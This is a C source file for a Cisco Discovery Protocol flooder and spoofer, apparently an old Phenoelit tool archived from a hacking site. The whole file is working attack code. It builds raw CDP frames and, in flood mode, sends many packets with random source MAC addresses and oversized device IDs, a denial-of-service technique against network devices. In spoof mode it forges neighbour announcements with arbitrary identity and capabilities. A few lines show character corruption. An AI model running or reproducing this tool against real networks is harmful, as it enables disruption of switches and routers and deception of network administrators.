home *** CD-ROM | disk | FTP | other *** search
- /* CDP sender/flooder
- *
- * FX <fx@phenoelit.de>
- * Phenoelit (http://www.phenoelit.de)
- * (c) 2k
- *
- * $Id: cdp.c,v 1.1.1.1 2005/02/12 19:45:59 loni Exp $
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- #include <netinet/in.h>
- #include <rpc/types.h>
- #include <netdb.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <netinet/ip.h>
- #include <netinet/tcp.h>
- #include <netinet/udp.h>
- #include <errno.h>
-
- #include <sys/ioctl.h>
- #include <netinet/in.h> /* for IPPROTO_bla consts */
- #include <netpacket/packet.h>
- #include <net/ethernet.h> /* to get my own ETH addr */
- #include <net/if.h>
-
- #define IP_ALEN 4
-
- /* IEEE 802.3, LLC related structs */
- struct eth_ieee802_3 {
- struct ether_addr daddr;
- struct ether_addr saddr;
- u_int16_t length;
- };
-
- struct eth_LLC {
- u_int8_t DSAP;
- u_int8_t SSAP;
- u_int8_t Control;
- u_int8_t orgcode[3];
- u_int16_t proto;
- };
-
- /* CDP header */
- struct cdphdr {
- u_int8_t version;
- u_int8_t ttl;
- u_int16_t checksum;
- };
-
- /* CDP sections */
- #define TYPE_DEVICE_ID 0x0001
- #define TYPE_ADDRESS 0x0002
- #define TYPE_PORT_ID 0x0003
- #define TYPE_CAPABILITIES 0x0004
- #define TYPE_IOS_VERSION 0x0005
- #define TYPE_PLATFORM 0x0006
-
- struct cdp_device {
- u_int16_t type; /* 0x0001 */
- u_int16_t length;
- u_char device; /* pointer to device name */
- };
-
- struct cdp_address {
- u_int16_t type; /* 0x0002 */
- u_int16_t length;
- u_int32_t number; /* number of addresses */
- };
-
- struct cdp_address_entry {
- u_int8_t proto_type; /* 0x1 for NLPID */
- u_int8_t length; /* 0x1 for IP */
- u_int8_t proto; /* 0xCC for IP */
- u_int8_t addrlen[2];
- u_char addr;
- };
-
- struct cdp_port {
- u_int16_t type; /* 0x0003 */
- u_int16_t length;
- u_char port; /* pointer to port name */
- };
-
- #define CDP_CAP_LEVEL1 0x40
- #define CDP_CAP_FORWARD_IGMP 0x20
- #define CDP_CAP_NETWORK_LAYER 0x10
- #define CDP_CAP_LEVEL2_SWITCH 0x08
- #define CDP_CAP_LEVEL2_SRB 0x04
- #define CDP_CAP_LEVEL2_TRBR 0x02
- #define CDP_CAP_LEVEL3_ROUTER 0x01
- struct cdp_capabilities {
- u_int16_t type; /* 0x0004 */
- u_int16_t length; /* is 8 */
- u_int32_t capab;
- };
-
- struct cdp_software {
- u_int16_t type; /* 0x0005 */
- u_int16_t length;
- u_char software; /* pointer to software string */
- };
-
- struct cdp_platform {
- u_int16_t type; /* 0x0006 */
- u_int16_t length;
- u_char platform; /* pointer to platform string */
- };
-
- /* my config */
- #define DEFAULT_NUMBER 100;
- #define DEFAULT_LENGTH 1400;
- struct {
- char *device;
- int verbose;
- int mode;
- /* flood mode */
- unsigned long number;
- int length;
- char floodchar;
- int floodrandom;
- /* spoof mode */
- char *S_devname;
- char *S_portid;
- char *S_software;
- char *S_platform;
- char *S_capas;
- struct in_addr S_ipaddr;
- } cfg;
-
- /* globals */
- u_char CDP_DEST[6] = {0x1,0x0,0xC,0xCC,0xCC,0xCC};
- struct ether_addr eth_my;
- struct in_addr ip_my;
-
- int atsock; /* attack socket */
- #define CDP_FRAME_SIZE 1700
- u_char cdpframe[CDP_FRAME_SIZE];
-
- /* prototypes */
- void *smalloc(size_t size);
- int initialize_socket(void);
- int send_ethernet_frame(u_char *frame, int frame_length);
-
- unsigned int mk_flood_cdp(char *my_name,int nlen);
- unsigned int mk_spoof_cdp();
- u_int16_t chksum(u_char *data, unsigned long count);
-
- void usage(char *n);
-
- /* ******************* MAIN ******************** */
-
- int main(int argc,char **argv) {
- char option;
- extern char *optarg;
-
- unsigned int plen;
- unsigned int i;
-
- /* for flooding */
- int j;
- char *devname;
- struct timespec sleeper = {0,10000};
-
- memset(&cfg,0,sizeof(cfg));
- while ((option=getopt(argc,argv,"vi:n:l:m:c:rD:P:C:L:S:F:"))!=EOF) {
- switch (option) {
- /* general */
- case 'v': cfg.verbose++;
- break;
- case 'i': cfg.device=smalloc(strlen(optarg));
- strcpy(cfg.device,optarg);
- break;
- case 'm': cfg.mode=atol(optarg);
- if (cfg.mode==0)
- printf("Running in flood mode\n");
- else if (cfg.mode==1)
- printf("Running in spoof mode\n");
- else {
- printf("Mode should be 0 or 1\n");
- exit(1);
- }
- break;
-
- /* flood mode */
- case 'n': if ((cfg.number=atol(optarg))<=0) {
- fprintf(stderr,"This number is bullshit\n");
- exit(1);
- }
- break;
- case 'l': if ((cfg.length=atol(optarg))<=0) {
- fprintf(stderr, "This length is bullshit\n");
- exit(1);
- }
- break;
- case 'c': cfg.floodchar=optarg[0];
- break;
- case 'r': cfg.floodrandom++;
- break;
-
- /* Spoof mode */
- case 'D': cfg.S_devname=(char *)smalloc(strlen(optarg)+1);
- strcpy(cfg.S_devname,optarg);
- break;
- case 'P': cfg.S_portid=(char *)smalloc(strlen(optarg)+1);
- strcpy(cfg.S_portid,optarg);
- break;
- case 'C': cfg.S_capas=(char *)smalloc(strlen(optarg)+1);
- strcpy(cfg.S_capas,optarg);
- break;
- case 'L': cfg.S_platform=(char *)smalloc(strlen(optarg)+1);
- strcpy(cfg.S_platform,optarg);
- break;
- case 'S': cfg.S_software=(char *)smalloc(strlen(optarg)+1);
- strcpy(cfg.S_software,optarg);
- break;
- case 'F': if (!inet_aton(optarg,&(cfg.S_ipaddr))) {
- fprintf(stderr,"source IP is invalid\n");
- exit (1);
- }
- break;
-
- /* fallback */
- default: usage(argv[0]);
- }
- }
-
- if (!cfg.device) usage(argv[0]);
-
- /* check command line */
- if (cfg.number==0) cfg.number=DEFAULT_NUMBER;
- if (cfg.length==0) cfg.length=DEFAULT_LENGTH;
- if (cfg.floodchar=='\0') cfg.floodchar='A';
-
- if (cfg.mode==0) {
- /* ******************* FLOOD MODE ***************** */
- devname=(char *)smalloc(cfg.length);
-
- if (initialize_socket()!=0) exit(1);
-
- srand((unsigned int)time(NULL));
-
- for (i=0;i<cfg.number;i++) {
-
- for (j=0;j<cfg.length;j++) {
- if (cfg.floodrandom) {
- devname[j]=cfg.floodchar+
- (int) (128.0*rand()/(RAND_MAX+1.0));
- } else {
- devname[j]=cfg.floodchar;
- }
- }
-
- plen=mk_flood_cdp(devname,cfg.length-1);
- if (cfg.verbose)
- printf("Packet length: %d\n",plen);
- send_ethernet_frame(cdpframe,plen);
-
- nanosleep(&sleeper,NULL);
- }
-
- close(atsock);
-
- } else {
- /* ******************* SPOOF MODE ***************** */
- if (!((cfg.S_devname!=NULL)
- && (cfg.S_portid!=NULL)
- && (cfg.S_capas!=NULL)
- && (cfg.S_platform!=NULL)
- && (cfg.S_software!=NULL))) {
- fprintf(stderr,"For spoofing, the following options"
- " are required:\n"
- "\t -D -P -C -L -S -F\n"
- );
- exit (1);
- }
-
- if (cfg.verbose)
- printf("Spoofing mode with the following data:\n"
- "Device ID :\t%s\n"
- "IP address:\t%s\n"
- "Platform :\t%s\n"
- "Capabilities:\t%s\n"
- "Port ID :\t%s\n"
- "Software :\t%s\n",
- cfg.S_devname,inet_ntoa(cfg.S_ipaddr),cfg.S_platform,
- cfg.S_capas,cfg.S_portid,cfg.S_software);
-
- /* go .. */
- if (initialize_socket()!=0) exit(1);
- plen=mk_spoof_cdp();
- if (cfg.verbose)
- printf("Packet length: %d\n",plen);
- send_ethernet_frame(cdpframe,plen);
- close(atsock);
- }
-
- return 0;
- }
-
- /* returns an initialized pointer to a memory area
- * * or hard-exits on failure */
- void *smalloc(size_t size) {
- void *p;
-
- if ((p=malloc(size))==NULL) {
- fprintf(stderr,"smalloc(): malloc failed\n");
- exit (-2);
- }
- memset(p,0,size);
- return p;
- }
-
- /* opens the raw socket,
- * * RETURNS 0 on success or -1 on error */
- int initialize_socket(void) {
- struct ifreq ifr;
-
- if ((atsock=socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)))<0) {
- perror("socket()");
- return (-1);
- }
-
- /* get IP addr */
- memset(&ifr,0,sizeof(ifr));
- strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name));
- if (ioctl(atsock, SIOCGIFADDR, &ifr) < 0 ) {
- perror("ioctl()");
- return (-1);
- }
- memcpy(&(ip_my.s_addr),
- &(*(struct sockaddr_in *)&ifr.ifr_addr).sin_addr.s_addr,
- IP_ALEN);
-
- /* get HW addr */
- memset(&ifr,0,sizeof(ifr));
- strncpy(ifr.ifr_name, cfg.device, sizeof (ifr.ifr_name));
- if (ioctl(atsock, SIOCGIFHWADDR, &ifr) < 0 ) {
- perror("ioctl()");
- return (-1);
- }
- memcpy(ð_my,&ifr.ifr_hwaddr.sa_data,ETH_ALEN);
-
- return 0; /* fine */
- }
-
- /* send's the ethernet frame,
- * * RETURNS the number of octets send or -1 on error */
- int send_ethernet_frame(u_char *frame, int frame_length) {
- struct sockaddr sa;
- int sendBytes;
-
- memset(&sa,0,sizeof(sa));
- strncpy(sa.sa_data,cfg.device,sizeof(sa.sa_data));
-
- sendBytes=sendto(atsock,frame,frame_length,0,&sa,sizeof(sa));
- if (sendBytes<0) {
- perror("send_ethernet_frame(): sendto");
- return (-1);
- } else if (sendBytes<frame_length) {
- fprintf(stderr,"send_ethernet_frame(): "
- "WARNING: short send %d out off %d\n",sendBytes,frame_length);
- }
-
- return sendBytes;
- }
-
- unsigned int mk_flood_cdp(char *my_name,int nlen) {
- /* semi constants for memcpy */
- u_char my_portid[] = "F";
-
- struct eth_ieee802_3 *ethh;
- struct eth_LLC *llc;
- struct cdphdr *cdph;
- struct cdp_device *cdp_dev;
- struct cdp_port *cdp_prt;
- u_char *cdp_end;
- u_int16_t cs;
-
- int j;
- struct ether_addr ea;
-
-
- memset(&cdpframe,0,sizeof(cdpframe));
-
- /* created random sender address */
- for (j=0;j<ETH_ALEN;j++)
- ea.ether_addr_octet[j]=1+(int) (255.0*rand()/(RAND_MAX+1.0));
-
- /* make IEEE 802.3 header */
- ethh=(struct eth_ieee802_3 *)cdpframe;
- memcpy(&(ethh->saddr),&ea,ETH_ALEN);
- memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN);
- ethh->length=0; /* assigned later */
-
- /* build LLC header */
- llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3));
- llc->DSAP=0xAA;
- llc->SSAP=0xAA;
- llc->Control=0x03; /* unnumbered */
- llc->orgcode[0]=llc->orgcode[1]=0x00;
- llc->orgcode[2]=0x0c; /* cisco */
- llc->proto=htons(0x2000);
-
- /* build cdp header */
- cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC));
- cdph->version=0x01;
- cdph->ttl=255; /* in seconds */
- cdph->checksum=0x0000; /* will be computed later */
-
- /* make a device entry */
- cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr));
- cdp_dev->type=htons(TYPE_DEVICE_ID); /* 0x0001 */
- cdp_dev->length=htons(nlen+2*sizeof(u_int16_t));
- memcpy(&(cdp_dev->device),my_name,nlen);
-
- /* make CDP port entry */
- cdp_prt=(struct cdp_port *)((void *)cdp_dev+(
- sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
- nlen));
- cdp_prt->type=htons(TYPE_PORT_ID);
- cdp_prt->length=htons(strlen(my_portid)+2*sizeof(u_int16_t));
- memcpy(&(cdp_prt->port),&my_portid,strlen(my_portid));
-
- cdp_end=(void *)(((void *)cdp_prt+(
- sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
- strlen(my_portid))));
- ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc));
-
- cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph));
- if (cfg.verbose>2)
- printf("My checksum is %04X\n",cs);
- cdph->checksum=cs;
-
- return ((void *)cdp_end-(void *)&cdpframe[0]);
- }
-
- unsigned int mk_spoof_cdp() {
- struct eth_ieee802_3 *ethh;
- struct eth_LLC *llc;
- struct cdphdr *cdph;
- struct cdp_device *cdp_dev;
- struct cdp_address *cdp_addr;
- struct cdp_address_entry *cdp_ae;
- struct cdp_port *cdp_prt;
- struct cdp_capabilities *cdp_caps;
- struct cdp_software *cdp_soft;
- struct cdp_platform *cdp_plt;
- u_char *cdp_end;
- u_int16_t cs;
-
- memset(&cdpframe,0,sizeof(cdpframe));
-
- /* make IEEE 802.3 header */
- ethh=(struct eth_ieee802_3 *)cdpframe;
- memcpy(&(ethh->saddr),ð_my,ETH_ALEN);
- memcpy(&(ethh->daddr),&CDP_DEST,ETH_ALEN);
- ethh->length=0; /* assigned later */
-
- /* build LLC header */
- llc=(struct eth_LLC *)(cdpframe+sizeof(struct eth_ieee802_3));
- llc->DSAP=0xAA;
- llc->SSAP=0xAA;
- llc->Control=0x03; /* unnumbered */
- llc->orgcode[0]=llc->orgcode[1]=0x00;
- llc->orgcode[2]=0x0c; /* cisco */
- llc->proto=htons(0x2000);
-
- /* build cdp header */
- cdph=(struct cdphdr *)((void*)llc+sizeof(struct eth_LLC));
- cdph->version=0x01;
- cdph->ttl=255; /* in seconds */
- cdph->checksum=0x0000; /* should be computed */
-
- /* make a device entry */
- cdp_dev=(struct cdp_device *)((void *)cdph+sizeof(struct cdphdr));
- cdp_dev->type=htons(TYPE_DEVICE_ID); /* 0x0001 */
- cdp_dev->length=htons(strlen(cfg.S_devname)+2*sizeof(u_int16_t));
- memcpy(&(cdp_dev->device),cfg.S_devname,strlen(cfg.S_devname));
-
- /* make an address entry */
- cdp_addr=(struct cdp_address *)((void *)cdp_dev+(
- sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
- strlen(cfg.S_devname)));
- cdp_addr->type=htons(TYPE_ADDRESS);
- cdp_addr->length=htons(
- /* address record */ /* address entry */ /*size of IPaddr-1 */
- sizeof(struct cdp_address)+sizeof(struct cdp_address_entry)+3);
- cdp_addr->number=htonl(0x00000001);
-
- /* insert our address */
- cdp_ae=(struct cdp_address_entry *)((void *)cdp_addr+sizeof(struct cdp_address));
- cdp_ae->proto_type=0x01;
- cdp_ae->length=0x01;
- cdp_ae->proto=0xCC; /* IPv4 */
- cdp_ae->addrlen[1]=0x04;
- memcpy(&(cdp_ae->addr),&(cfg.S_ipaddr),IP_ALEN);
-
- /* make CDP port entry */
- cdp_prt=(struct cdp_port *)((void *)cdp_ae+
- (sizeof (struct cdp_address_entry)+3)); /* for IP fields */
- cdp_prt->type=htons(TYPE_PORT_ID);
- cdp_prt->length=htons(strlen(cfg.S_portid)+2*sizeof(u_int16_t));
- memcpy(&(cdp_prt->port),cfg.S_portid,strlen(cfg.S_portid));
-
- /* make CDP capabilities entry */
- cdp_caps=(struct cdp_capabilities *)((void *)cdp_prt+(
- sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
- strlen(cfg.S_portid)));
- cdp_caps->type=htons(TYPE_CAPABILITIES);
- cdp_caps->length=htons(0x0008);
- /* I'm sorry, this is lazy and not very elegant but it works
- * and at the moment, nothing else comes to my mind ... */
- cdp_caps->capab=0;
- if (strchr(cfg.S_capas,'R'))
- cdp_caps->capab=CDP_CAP_LEVEL3_ROUTER;
- if (strchr(cfg.S_capas,'T'))
- cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_TRBR;
- if (strchr(cfg.S_capas,'B'))
- cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SRB;
- if (strchr(cfg.S_capas,'S'))
- cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL2_SWITCH;
- if (strchr(cfg.S_capas,'H'))
- cdp_caps->capab=cdp_caps->capab | CDP_CAP_NETWORK_LAYER;
- if (strchr(cfg.S_capas,'I'))
- cdp_caps->capab=cdp_caps->capab | CDP_CAP_FORWARD_IGMP;
- if (strchr(cfg.S_capas,'r'))
- cdp_caps->capab=cdp_caps->capab | CDP_CAP_LEVEL1;
- cdp_caps->capab=htonl(cdp_caps->capab);
-
- /* make CDP software version */
- cdp_soft=(struct cdp_software *)((void *)cdp_caps+
- sizeof(struct cdp_capabilities));
- cdp_soft->type=htons(TYPE_IOS_VERSION);
- cdp_soft->length=htons(strlen(cfg.S_software)+2*sizeof(u_int16_t));
- memcpy(&(cdp_soft->software),cfg.S_software,strlen(cfg.S_software));
-
- /* make CDP platform */
- cdp_plt=(struct cdp_platform *)((void *)cdp_soft+(
- sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
- strlen(cfg.S_software)));
- cdp_plt->type=htons(TYPE_PLATFORM);
- cdp_plt->length=htons(strlen(cfg.S_platform)+2*sizeof(u_int16_t));
- memcpy(&(cdp_plt->platform),cfg.S_platform,strlen(cfg.S_platform));
- cdp_end=(u_char *)((void *)cdp_plt+(
- sizeof(u_int16_t) /* type */ + sizeof(u_int16_t) /* length */ +
- strlen(cfg.S_platform)));
-
- ethh->length=htons((unsigned int)((void *)cdp_end-(void *)llc));
-
- cs=chksum((u_char *)cdph,((void *)cdp_end-(void *)cdph));
- if (cfg.verbose>2)
- printf("My checksum is %04X\n",cs);
- cdph->checksum=cs;
-
- return ((void *)cdp_end-(void *)&cdpframe[0]);
- }
-
- /* returns the checksum
- * WARNING: if left over bytes are present, the memory after *data has to
- * contain 0x00 series and should be part of the buffer
- * -> make the buffer for data at least count+1 bytes long ! */
- u_int16_t chksum(u_char *data, unsigned long count) {
- u_int32_t sum = 0;
- u_int16_t *wrd;
-
- wrd=(u_int16_t *)data;
- while( count > 1 ) {
- sum = sum + *wrd;
- wrd++;
- count -= 2;
- }
-
- /* Add left-over byte, if any */
- if( count > 0 ) {
- if (cfg.verbose>2)
- printf("Left over byte: %04X\n",((*wrd & 0xFF)<<8));
- sum = sum + ((*wrd &0xFF)<<8);
- }
-
- /* Fold 32-bit sum to 16 bits */
- while (sum>>16) {
- sum = (sum & 0xffff) + (sum >> 16);
- }
-
- return (~sum);
- }
-
- void usage(char *n) {
- printf(
- "%s [-v] -i <interface> -m {0,1} ...\n"
- "\n"
- "Flood mode (-m 0):\n"
- "-n <number>\tnumber of packets\n"
- "-l <number>\tlength of the device id\n"
- "-c <char>\tcharacter to fill in device id\n"
- "-r\t\trandomize device id string\n"
- "\n"
- "Spoof mode (-m 1):\n"
- "-D <string>\tDevice id\n"
- "-P <string>\tPort id\n"
- "-L <string>\tPlatform\n"
- "-S <string>\tSoftware\n"
- "-F <string>\tIP address\n"
- "-C <capabilities>\n"
- "\tthese are:\n"
- "\tR - Router, T - Trans Bridge, B - Source Route Bridge\n"
- "\tS - Switch, H - Host, I - IGMP, r - Repeater\n",
- n);
- exit(0);
- }
- /* www.hack.co.za [21 September 2000]*/